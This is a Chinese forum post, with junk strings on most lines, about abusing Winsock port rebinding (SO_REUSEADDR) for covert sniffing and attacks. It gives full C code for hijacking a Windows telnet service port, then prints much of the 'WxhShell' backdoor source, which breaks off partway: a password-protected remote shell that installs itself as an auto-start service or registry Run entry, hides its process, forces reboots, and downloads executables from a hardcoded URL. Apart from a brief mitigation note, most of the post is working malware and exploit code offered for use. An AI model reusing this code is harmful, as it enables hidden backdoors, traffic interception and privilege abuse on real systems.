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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: s|1BqoE  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); P9RIX;A=  
gmY*}d` 'f  
  saddr.sin_family = AF_INET; U;_b4S:  
,3zF_y(*Y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); A/xWe  
77Fpb?0`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); iSZiJ4AUq  
l/JE}Eg(  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 "?lm`3W"  
bwm?\l.A  
  这意味着什么?意味着可以进行如下的攻击: ^rKA=siz  
wM^_pah#Y5  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 X2MQa:yksP  
nA\9UD<G.  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 4l2xhx  
(j%d{y4  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 wlh V!a0>  
Tu'/XUs;k  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  XQ{G)  
v%e-vl  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 P`^{dH $P  
4RH'GnLa  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 eDm~B (G$  
C(7Y5\"P  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 f4s^$Q{Q  
=!G3YZ  
  #include tv)U 7 K0  
  #include -bamNw>|  
  #include $=c79Al(  
  #include    tp3>aNj  
  DWORD WINAPI ClientThread(LPVOID lpParam);   NdS6j'%B@7  
  int main() T/_JXK>W  
  { 6!,Am^uXM  
  WORD wVersionRequested; JYbE(&l%de  
  DWORD ret; `J>76WN  
  WSADATA wsaData; G n_AXN  
  BOOL val; da[u@eNrnX  
  SOCKADDR_IN saddr; uh~/ybR  
  SOCKADDR_IN scaddr; [\ M=w7  
  int err; $>3/6(bW  
  SOCKET s; #nE%.k|R~  
  SOCKET sc; z|Hc=AU8y  
  int caddsize; FA.h?yfr  
  HANDLE mt; ; )Vro  
  DWORD tid;   &AMW?vO  
  wVersionRequested = MAKEWORD( 2, 2 ); ZwLD7j*)  
  err = WSAStartup( wVersionRequested, &wsaData ); b"ypS7 _  
  if ( err != 0 ) { n.{+\M6k  
  printf("error!WSAStartup failed!\n"); u7=jtB   
  return -1; VK*2`Z1  
  } H:X=v+W  
  saddr.sin_family = AF_INET; VWlOMqL995  
   U8Pnt|0M  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 H<M ggs-  
<"uT=]wZ=  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); o@`& h} $  
  saddr.sin_port = htons(23); [mSK!Y@u  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) jhWNMu  
  { FQR{w  
  printf("error!socket failed!\n"); >-Qg4%m  
  return -1; P&/PCSf  
  } ^N!l$&=  
  val = TRUE; *-timVlaE  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 74c1i  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) nb:J"  
  { Ul?Ha{ W  
  printf("error!setsockopt failed!\n"); A2o ;YyF  
  return -1; S8O^^jJq;  
  } .wrNRU7s  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; T,72I  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~-,P1 u!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 +e0]Y8J{  
 8@)/a  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Hp_3BulS<  
  { iQczvn)"m  
  ret=GetLastError(); <qzHMy Ai  
  printf("error!bind failed!\n"); 27-<q5q  
  return -1; Ns-cT'1-  
  } G .~Psw#  
  listen(s,2); *v'&i) J  
  while(1) "hU'o&  
  { {4Q4aL(  
  caddsize = sizeof(scaddr); v/]Bo[a  
  //接受连接请求 rl^_RI  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); EO'[AU%~  
  if(sc!=INVALID_SOCKET) vgzNT4o  
  { krTH<- P  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); bA-=au?o5  
  if(mt==NULL) A/W-'%+`  
  { (lhbH]I  
  printf("Thread Creat Failed!\n"); P5ii3a?R  
  break; X6mY#T'fQ  
  } VVdgNT|}W  
  } G?)vqmJ%  
  CloseHandle(mt); )-824?Nl:  
  } W:uIG-y~  
  closesocket(s); +[9~ta|j  
  WSACleanup(); 9n!<M)E  
  return 0; . `lcxC  
  }   =6t)-53  
  DWORD WINAPI ClientThread(LPVOID lpParam) :K&   
  { E[J7FgU)<S  
  SOCKET ss = (SOCKET)lpParam; YMG{xGPtM  
  SOCKET sc; 22L#\qVkl  
  unsigned char buf[4096]; XF1x*zc  
  SOCKADDR_IN saddr; o/9(+AA>  
  long num;  Hw34wQX  
  DWORD val; $4`RJ{ZJw]  
  DWORD ret; _pQ9q&i4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 *-bR~  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   [3s,U4a  
  saddr.sin_family = AF_INET; rMqWXGl`(  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :N#gNtC)b  
  saddr.sin_port = htons(23); ;JpU4W2/  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) wobTT1!|  
  { ^3QHB1I  
  printf("error!socket failed!\n"); +/q%29-k  
  return -1; v709#/ cR  
  } TL+a_]3@  
  val = 100; EI2V<v  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lY_E=K]  
  { *k'oP~:fT  
  ret = GetLastError(); XpWqL9s_E  
  return -1;  o@_pV  
  } MJ >9[hs  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bL+Hw6;  
  { 4E:HO\  
  ret = GetLastError(); 6 $%^  
  return -1; #rzq9}9tB  
  } 7|3Z+#|T  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %;9f$:U  
  { qgw:Q  
  printf("error!socket connect failed!\n"); 5aw#!K=J'  
  closesocket(sc); w-[WJ:2.  
  closesocket(ss); NA[yT  
  return -1; H$Fz{[[u  
  } IuTZ2~  
  while(1) 2EsKC)  
  { H"d.yZM0  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 zt!mx{l'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 .@.,D% 7<  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ?<,9X06dP  
  num = recv(ss,buf,4096,0); z>NRvx0  
  if(num>0) b&p*IyJR  
  send(sc,buf,num,0); ?s(%3_h  
  else if(num==0) UNq!|  
  break; 4xU[oaa  
  num = recv(sc,buf,4096,0); ~f 2H@#  
  if(num>0) !1!;}uzt  
  send(ss,buf,num,0); \uQB%yMoz  
  else if(num==0) ]i\D*,FfU  
  break; t/HMJ  
  } Uf{cUY,j_  
  closesocket(ss); QvK/31*QG  
  closesocket(sc); V{;Mh u`+  
  return 0 ; |~k=:sSz{  
  } [zIX&fPk$  
\?h +  
#B|`F?o  
========================================================== M[D`)7=b  
#ldNWwvRGj  
下边附上一个代码,,WXhSHELL 4(2}O-~  
sN 1x|pkN  
==========================================================  =w0Rq~  
O9oVx4=  
#include "stdafx.h" e{.2*>pH  
"m):"  
#include <stdio.h> { dwm>a  
#include <string.h> 5NbI Vz  
#include <windows.h> Fkj\U^G  
#include <winsock2.h> +ww paR`  
#include <winsvc.h> J`;G9'n2  
#include <urlmon.h> eI8^T?  
H:4r6-{  
#pragma comment (lib, "Ws2_32.lib") 4VSIE"8e  
#pragma comment (lib, "urlmon.lib") %Vrl"4^}t  
lh3%2Dq$  
#define MAX_USER   100 // 最大客户端连接数 ^%|{>Mz;c  
#define BUF_SOCK   200 // sock buffer c, \TL ]  
#define KEY_BUFF   255 // 输入 buffer f8_5.vlw  
YMad]_XOP  
#define REBOOT     0   // 重启 )!hDF9O  
#define SHUTDOWN   1   // 关机 d4/snvq  
yC4JYF]JN  
#define DEF_PORT   5000 // 监听端口 3>yb$ZU"-  
fyT:I6*  
#define REG_LEN     16   // 注册表键长度 *-T3'beg  
#define SVC_LEN     80   // NT服务名长度 ()v[@"J  
{%^q8l4j  
// 从dll定义API gCz^JM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~HI|t2C  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {>fvyF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); IfeG"ua|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  .VuZ=  
(A\qZtnyl  
// wxhshell配置信息 8},!t\j#]  
struct WSCFG { m*  |3  
  int ws_port;         // 监听端口 cG6Q$  
  char ws_passstr[REG_LEN]; // 口令 h" Yi'  
  int ws_autoins;       // 安装标记, 1=yes 0=no DY^q_+[V  
  char ws_regname[REG_LEN]; // 注册表键名 ?Q wDV`  
  char ws_svcname[REG_LEN]; // 服务名 Fl]$ql   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :e ?qm7cB  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 U:c!9uhp  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 BQ,]]}e43z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no p82&X+v/p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5[]7baO)h1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k4'rDJfB  
.Gh-T{\V'  
}; thOQcOf0$  
%A`f>v.7 c  
// default Wxhshell configuration f8L  
struct WSCFG wscfg={DEF_PORT, [{ K$sd  
    "xuhuanlingzhe", F=Z|Ji#  
    1, Xgn^)+V:  
    "Wxhshell", B-|:l 7  
    "Wxhshell", 0Q_AF`"  
            "WxhShell Service", ;:vbOG#aSN  
    "Wrsky Windows CmdShell Service", ^O6PZm5J}  
    "Please Input Your Password: ", $d{{><  
  1, ;VeC(^-eh6  
  "http://www.wrsky.com/wxhshell.exe", ,xuqQ;JX  
  "Wxhshell.exe" `Q<hL{AH  
    }; <<6i6b  
5'?K(Jdmp  
// 消息定义模块 bT,]=h"0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <`9Q{~*=t  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4 (& W>E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lE`hC#m  
char *msg_ws_ext="\n\rExit."; R"];`F(#  
char *msg_ws_end="\n\rQuit."; ox{)O/aj  
char *msg_ws_boot="\n\rReboot..."; H5S>|"`e`e  
char *msg_ws_poff="\n\rShutdown..."; AVGb;)x#  
char *msg_ws_down="\n\rSave to "; {1'XS,2  
iyc}a6g  
char *msg_ws_err="\n\rErr!"; `22F@JYN  
char *msg_ws_ok="\n\rOK!"; F4M<5Yi  
qS*qHT(u19  
char ExeFile[MAX_PATH]; 9(QY~F  
int nUser = 0; W=&\d`><k  
HANDLE handles[MAX_USER]; HtgVD~[]  
int OsIsNt; 8TD:~ee  
P7&a~N$T6W  
SERVICE_STATUS       serviceStatus; `8\ _ ]w0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /P<RYA~  
%L=ro qz  
// 函数声明 D\ HmY_  
int Install(void); BR8z%R  
int Uninstall(void); .<gA a"  
int DownloadFile(char *sURL, SOCKET wsh); xv]P-q0  
int Boot(int flag); ':R)i.TS  
void HideProc(void); iSUn}%YFz!  
int GetOsVer(void); #b4`Wcrj  
int Wxhshell(SOCKET wsl); .wtb7U;7  
void TalkWithClient(void *cs); K8XXO"  
int CmdShell(SOCKET sock); ;}#tm9S;  
int StartFromService(void); 8O qG{jmG  
int StartWxhshell(LPSTR lpCmdLine); WO/;o0{d\9  
<@.f#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U`ey7   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z=|:D,&  
t~)w921>  
// 数据结构和表定义 wr~# rfH  
SERVICE_TABLE_ENTRY DispatchTable[] = m@;X%wf<U  
{ UN'hnqC  
{wscfg.ws_svcname, NTServiceMain}, 67+ K ?!,  
{NULL, NULL} gs_"H  
}; &1ASWllD  
kn 5q1^  
// 自我安装 R{NmWj['Mg  
int Install(void) 'C]zB'H=  
{ [(B A:x1  
  char svExeFile[MAX_PATH]; Nj1vB;4Nx  
  HKEY key; <8|vj 2d2  
  strcpy(svExeFile,ExeFile); 8iB1a6TlL  
_:x/\ 8P  
// 如果是win9x系统,修改注册表设为自启动 f$Q#xlQM  
if(!OsIsNt) { sycN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u3R0_8 _.w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "pa5+N&2-  
  RegCloseKey(key); Vz1ro  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lj/ ?P9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i*:lZeU61  
  RegCloseKey(key); v}Gq.(b  
  return 0; j/TsHJ=  
    } >k<.bEx(A  
  } ?5K.#>{  
} FTI[YR8?Y  
else { 5JK{dis]k  
b7E= u0  
// 如果是NT以上系统,安装为系统服务 bU/5ug.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;eI,1 [_  
if (schSCManager!=0) K 4j'e6  
{ bmr.EB/  
  SC_HANDLE schService = CreateService BT: =  
  ( 8c`g{ *z  
  schSCManager, *LOpbf  
  wscfg.ws_svcname, S) Sv4Qm  
  wscfg.ws_svcdisp, .t.H(Q9  
  SERVICE_ALL_ACCESS, 3;Kv9i<~LE  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .n[!3X|d  
  SERVICE_AUTO_START, kLU$8L  
  SERVICE_ERROR_NORMAL, XE[~! >'  
  svExeFile, E)H: L-  
  NULL, $xNM^O  
  NULL, Lfx&DK !  
  NULL, qXR>Z=K<  
  NULL, 5rRYv~+  
  NULL Tm-Nz7U^^  
  ); h`-aO u  
  if (schService!=0) C|5eV=f)P  
  { R!0O[i  
  CloseServiceHandle(schService); Qv(}*iq]  
  CloseServiceHandle(schSCManager); jY-{hW+r  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); s+YQ :>F  
  strcat(svExeFile,wscfg.ws_svcname); u3(zixb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q@6OIE  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G4{ zt3{  
  RegCloseKey(key); zGHP{a1O7  
  return 0; 2>l4$G 0  
    } JOS,>;;F4  
  } |GM?4'2M.  
  CloseServiceHandle(schSCManager); G&)A7WaC  
} &?f{.  
} &%+}bt5  
T~J6(,"  
return 1; Z@>hN%{d+g  
} -'QvUHL|  
Ac 0C,*|^  
// 自我卸载 @(Wx(3JR?}  
int Uninstall(void) bccJVwXv  
{ [wWip1OR  
  HKEY key; P95U{   
2>Hl=bX  
if(!OsIsNt) { =hxj B*")  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .xS3,O_[  
  RegDeleteValue(key,wscfg.ws_regname); 0%+S@_|  
  RegCloseKey(key); |&eZ[Sy(=l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *&9_+F8ly  
  RegDeleteValue(key,wscfg.ws_regname); <e-9We."  
  RegCloseKey(key); Qu,W3d  
  return 0;  ;)s$Et%  
  } wkOo8@J\  
} E;.<'t>  
} ~KHGh29  
else { /k qW  
OJPx V~y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }-?_c#G 3  
if (schSCManager!=0) mnZ/rb  
{ ~B;kFdcVXn  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); rCR?]1*Z  
  if (schService!=0) (Gr8JpV  
  { _eb:"(m  
  if(DeleteService(schService)!=0) { `9E:V=  
  CloseServiceHandle(schService); @GDe{GG+  
  CloseServiceHandle(schSCManager); )8VrGg?  
  return 0; @]P#]%^D2  
  } 3}e-qFlV8,  
  CloseServiceHandle(schService); CG*eo!Nw  
  } 3B!lE(r%J  
  CloseServiceHandle(schSCManager); B{$4s8XU  
} ,*$L_itL  
} `WQz_}TqB  
7nM]E_  
return 1; :@x24wN/  
} N7Vv"o  
l5_RG,O0A  
// 从指定url下载文件 ! 7A _UA8  
int DownloadFile(char *sURL, SOCKET wsh) )#n0~7 &  
{ E/2kX3}  
  HRESULT hr; O32p8AxEz  
char seps[]= "/"; 'Vq <;.A  
char *token; Dg3S n|!f  
char *file; RAYDl=}  
char myURL[MAX_PATH]; f1w&D ]|S+  
char myFILE[MAX_PATH]; rOQ@(aUAZ  
d2`m0U  
strcpy(myURL,sURL);  Aq674   
  token=strtok(myURL,seps); K>iM6Uv  
  while(token!=NULL) :tU&d(8  
  { -9TNU7^  
    file=token; \H|tc#::{  
  token=strtok(NULL,seps); H_RV#BW&  
  } l/0"'o_0v#  
x O?w8*d  
GetCurrentDirectory(MAX_PATH,myFILE); 8oiO:lyLSt  
strcat(myFILE, "\\"); p vone,y2  
strcat(myFILE, file); kx&Xk0F_g  
  send(wsh,myFILE,strlen(myFILE),0); 1><@$kVMm~  
send(wsh,"...",3,0); y|X</3w  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Z BjyQ4h  
  if(hr==S_OK) hr3RC+ y  
return 0;  2f>G   
else GcN[bH(@  
return 1; Pu/X_D-#Gi  
HwfBbWHr'  
} 1bjhEO W  
)7!q>^S{ B  
// 系统电源模块 Jm8{@D%  
int Boot(int flag) gZ vX~  
{ 9n4vuBgv  
  HANDLE hToken; Lt`d {s  
  TOKEN_PRIVILEGES tkp; uqe{F+;8&  
7i^7sT8t  
  if(OsIsNt) {  h0}r#L  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4UwXrEQp  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u~SvR~OE  
    tkp.PrivilegeCount = 1; Hl-!rP.?0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?^I\e{),c  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #-vuY#gs  
if(flag==REBOOT) { XgRrJ.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Wm ri%  
  return 0; V&nTf100  
} .m%/JquMFM  
else { E57:ap)/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6r  
  return 0; );EW(7KeL  
} }]O* yFR{j  
  } OXu*w l(z  
  else { pT3p!/pl3  
if(flag==REBOOT) { ]^aOYtKX  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /zxLnT; 5  
  return 0; dJyf.VJ  
} UQ]WBS\  
else { 6zv-nMZc  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6&,n\EXF  
  return 0; me-Tv7WL  
} .Ukejx  
} | e{F;8  
K @x4>9 3n  
return 1; MzUNk`T @  
} n-ZOe]3  
.*N]SbU<8  
// win9x进程隐藏模块 t!}QG"ma  
void HideProc(void) #?=?<"*j  
{ yTt,/+I%gJ  
\l)Jb*t  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); EFpV  
  if ( hKernel != NULL ) 0_nY70B  
  { Tx+!D'>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "rxhS; R1>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y)~Y;;/G  
    FreeLibrary(hKernel); Y:o\qr!Y  
  } %DyukUJ  
>fZ N?>`  
return; Ek'~i  
} +=.>9  
^d6}rtG  
// 获取操作系统版本 YY{0WWua  
int GetOsVer(void) >i&"{GZ  
{ o>Fc.$ngZ  
  OSVERSIONINFO winfo; Z8vMVo  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); VycC uq&M  
  GetVersionEx(&winfo); )w.+( v(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f3r\X  
  return 1; %63zQFk  
  else h"C7l#u  
  return 0; U&F1}P$fb  
} 9)c{L<o}T  
j:|um&`)  
// 客户端句柄模块 d,%e? 8x5  
int Wxhshell(SOCKET wsl) ^a>3U l{  
{ Myj 5qh  
  SOCKET wsh; VkFvV><"  
  struct sockaddr_in client; MTnW5W-r9  
  DWORD myID; #6g9@tE  
>z{*>i,m1  
  while(nUser<MAX_USER) oe (})M  
{ 4KbOyTQ  
  int nSize=sizeof(client); 6_UCRo5h%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vR`#kxSdJ@  
  if(wsh==INVALID_SOCKET) return 1; Go^a~Sf$  
8x)&4o@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $] ])FM"b  
if(handles[nUser]==0) =w&bS,a"y  
  closesocket(wsh); @=i- *U  
else N@qP}/}8  
  nUser++; +,;"?j6<p  
  } )Cas0~RM  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B=ckRW q  
""~b1kEt  
  return 0; ~wejy3|@0  
} 3/?^d;=  
)GT*HJR(vc  
// 关闭 socket g3V bP  
void CloseIt(SOCKET wsh) 8-JOfq}s  
{ R #f*QXv  
closesocket(wsh); n'?AZ4&z  
nUser--; j\I{pW-  
ExitThread(0); mB\)Q J.%  
} QD8.C=2R  
-RLY.@'d-M  
// 客户端请求句柄 %w$\v"^_Y  
void TalkWithClient(void *cs) D,3Kx ^  
{ s0zN#'o]  
 v|K,  
  SOCKET wsh=(SOCKET)cs; !g`^<y!  
  char pwd[SVC_LEN]; 54lU~ "  
  char cmd[KEY_BUFF]; [TW?sW^0  
char chr[1]; GgU8f0I  
int i,j; KF.O>c87&  
lRk)  
  while (nUser < MAX_USER) { {/)q=  
,H)v+lI  
if(wscfg.ws_passstr) { k^H&IS!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); thU9s%,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =00c1v  
  //ZeroMemory(pwd,KEY_BUFF); Mzg zOM  
      i=0; c 5%uiv]  
  while(i<SVC_LEN) { X[SdDYMY  
>P<8E2}*  
  // 设置超时 S^8C\ E  
  fd_set FdRead; VYR<x QA  
  struct timeval TimeOut; ]\JLlQ}#H  
  FD_ZERO(&FdRead); hR4\:s+[  
  FD_SET(wsh,&FdRead); .S_7R/2(?  
  TimeOut.tv_sec=8; VxP cC+  
  TimeOut.tv_usec=0; t6,bA1*5y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |#b]e|aP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #NyfE|MKBC  
< NRnE8:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iJ&jg`"=F  
  pwd=chr[0]; P Nf_{4  
  if(chr[0]==0xd || chr[0]==0xa) { OGR2Y  
  pwd=0; SzTa[tJ+  
  break; 2FVO@D  
  } "y9]>9:$-  
  i++; X7~^D[ X  
    } R9&3QRW|  
4@mK:v %  
  // 如果是非法用户,关闭 socket i^SPNs=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); K\trT!I  
} 3 0.&Lzz  
6"L,#aKm^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c%+_~iBUN  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o#Viz:  
u]z87#4  
while(1) { PY@BgL=/  
Dq~ \U&U\$  
  ZeroMemory(cmd,KEY_BUFF); @* <`*W  
'PqKb%B|  
      // 自动支持客户端 telnet标准   ~Fe$/*v  
  j=0; <-h[I&."  
  while(j<KEY_BUFF) { jhJ'fI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KY'x;\0 g  
  cmd[j]=chr[0]; &v/>P1Z G  
  if(chr[0]==0xa || chr[0]==0xd) { |muZv!,E  
  cmd[j]=0; vf@toYc[E  
  break; iAr]Ed"9|  
  } yno X=#`  
  j++; 5-RA<d#  
    } %HD0N&  
<~Oy3#{  
  // 下载文件 AX]cM)w  
  if(strstr(cmd,"http://")) { OQJ#>*?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6QYHPz  
  if(DownloadFile(cmd,wsh)) ujf]@L?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8Q(A1U  
  else :\]qB&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u_=^Bd   
  } zN&m-nrw  
  else { <'N~|B/yZ  
[9;[g~;E%m  
    switch(cmd[0]) { 4J{W8jX  
  `uof\D<']  
  // 帮助 rNoCmNm  
  case '?': { 3De(:c)@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dAr=X4LE  
    break; { V$}qa{P  
  } H1d2WNr[  
  // 安装 *AG01# ZF  
  case 'i': { J(Fk@{!F.*  
    if(Install()) FvXpqlp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n #S?fsQN  
    else {rzvZ0-j}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "H\R*\-0  
    break; B.4Or]  
    } 98Y1-Z^ .  
  // 卸载 RDOV+2K  
  case 'r': { ;3\'}2^|l  
    if(Uninstall()) 8xt8kf*k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4jw q$G  
    else _/NPXDL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c{3P|O&.  
    break; 9hei8L:  
    } Ov;q]Vn>  
  // 显示 wxhshell 所在路径 ?P;=_~X  
  case 'p': { J6mUU3F9f  
    char svExeFile[MAX_PATH]; HBm(l@#.  
    strcpy(svExeFile,"\n\r"); jG%J.u^k  
      strcat(svExeFile,ExeFile); ()ww9L2  
        send(wsh,svExeFile,strlen(svExeFile),0); T}jW,Ost  
    break; MP p    
    } |)OC1=As  
  // 重启 l:OXxHxRi  
  case 'b': { o0_H(j?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n(9$)B_y  
    if(Boot(REBOOT)) )Vo%}g?6!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ul{D)zm\D  
    else { &],O\TAul  
    closesocket(wsh); Jow{7@FG  
    ExitThread(0); Q">wl  
    } 7|k2~\@q  
    break; e\._M$l  
